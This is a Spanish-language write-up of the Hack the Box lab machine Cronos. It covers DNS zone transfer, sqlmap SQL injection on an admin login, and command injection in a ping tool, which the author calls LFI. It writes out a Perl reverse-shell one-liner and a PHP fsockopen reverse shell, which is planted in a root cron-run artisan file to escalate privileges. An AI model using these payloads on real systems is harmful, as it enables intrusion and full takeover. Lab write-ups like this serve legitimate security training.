Cronos Writeup

MedioLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
51d23643...
#Root Flag
1703b8a3...

En este writeup vamos a ver cómo resolver la máquina Cronos de la plataforma de Hack the Box.

Conexión

Lo primero que tenemos que hacer es conectarnos a la máquina de Cronos a través de la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.13

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

El siguiente paso es hacer un escaneo de puertos para ver por dónde podemos entrar:

$ nmap -p -A 10.10.10.13 --open -n -v

Una vez ejecutado el comando nmap podemos ver los siguientes puertos abiertos:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Al estar el puerto 53 de DNS abierto nos está indicando que tenemos que añadir el host al fichero de /etc/hosts. Utilizamos el comando dig para comprobar la información de DNS y la transferencia de zonas:

$ dig axfr cronos.htb @10.10.10.13 ; <<>> DiG 9.16.8-Debian <<>> axfr cronos.htb @10.10.10.13 ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13 ns1.cronos.htb. 604800 IN A 10.10.10.13 www.cronos.htb. 604800 IN A 10.10.10.13 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 47 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: vie ene 08 09:44:46 CET 2021 ;; XFR size: 7 records (messages 1, bytes 203)

Vemos que existen varios subdominios para la misma IP:

Una vez hecho esto abrimos el navegador y vemos la web.

Menu de cronos
Menu de cronos

Todo lo que ofrece son enlaces externos, no hay ningún formulario ni nada así que poco vamos a poder hacer con esto.

Revisamos la url de admin.cronos.htb y para ello lo añadimos al fichero de /etc/hosts.

$ sudo nano /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.10.10.13 cronos.htb 10.10.10.13 admin.cronos.htb

Cuando lo abramos en el navegador veremos un panel de login:

Login de cronos
Login de cronos

Al hacer login podemos ver que la petición viaja por POST:

Peticion POST cronos
Peticion POST cronos

Una de las cosas que podemos hacer es utilizar sqlmap para ver si el login es vulnerable a inyección sql, para ello escribimos lo siguiente en nuestra terminal:

$ sqlmap -u [http://admin.cronos.htb](http://admin.cronos.htb/) --data "username=admin&password=admin" -p username --method POST --dbs

Después de un rato la herramienta nos dice que el SGDB es Mysql y que el parámetro username es vulnerable a SQLi.

En el login de nuevo escribimos los siguientes datos:

Inyeccion SQL login cronos
Inyeccion SQL login cronos

Y entramos al backend. Aquí podemos ver una herramienta para hacer escáneres de red, ya sea un ping o un traceroute:

Traceroute cronos
Traceroute cronos

Si vemos la petición que se realiza, podemos ver que la elección del comando va en un parámetro y el host en otro.

Peticion payload cronos
Peticion payload cronos

Esto nos lleva a pensar que tal vez este formulario es susceptible a un ataque de LFI o lo que es lo mismo, de Local File Inclusion.

Abrimos Burpsuite e interceptamos la petición. Al parámetro commad lo cambiamos por lo siguiente:

cat /etc/passwd

Y efectivamente nos devuelve el fichero con los usuarios del sistema:

Local File Inclusion en Cronos
Local File Inclusion en Cronos

El siguiente paso es probar de enviar una conexión netcat para que nos devuelva una shell reversa.

Podemos consultar esta web https://ironhackers.es/herramientas/reverse-shell-cheat-sheet/ para ver como se invoca esta conexión en diferentes lenguajes pero lo que nos interesa a nosotros es mandar en el parámetro command lo siguiente, no sin antes haber levantado una conexión netcat en una terminal nueva:

perl -e 'use Socket;$i="10.10.14.7";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

Automáticamente tendremos ya una conexión nueva con una shell inversa y estaremos dentro del sistema:

Netcat Cronos
Netcat Cronos

Capturar User Flag

Una vez dentro podemos invocar una TTY completa con la siguiente línea de python:

$ python -c 'import pty;pty.spawn("/bin/bash")’

Si nos dirigimos al directorio /home/noulis podremos ver el fichero user.txt con la USER Flag.

Capturar Root Flag

Si hacemos un cat /etc/cron* entre otras cosas vemos la siguiente entrada:

* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Si nos dirigimos al directorio donde se encuentra vemos que el usuario www-data tiene permisos para modificar este archivo por lo que procederemos a hacer lo siguiente:

$ cp artisan artisan.bkp $ echo '' > artisan $ echo '#!/usr/bin/env php' >> artisan $ echo '<?php' >> artisan $ echo '$sock=fsockopen("10.10.14.7",1234);exec("/bin/sh -i <&3 >&3 2>&3");' >> artisan

Abrimos una nueva terminal con una conexión netcat a la escucha por ese puerto y después de un rato ya tendremos la shell inversa con el usuario root.

Netcat root cronos
Netcat root cronos

Tan solo queda mirar el fichero de /root/root.txt para obtener la ROOT Flag.

También te puede interesar

Delivery Writeup

Delivery Writeup

Doctor Writeup

Doctor Writeup

Knife Writeup

Knife Writeup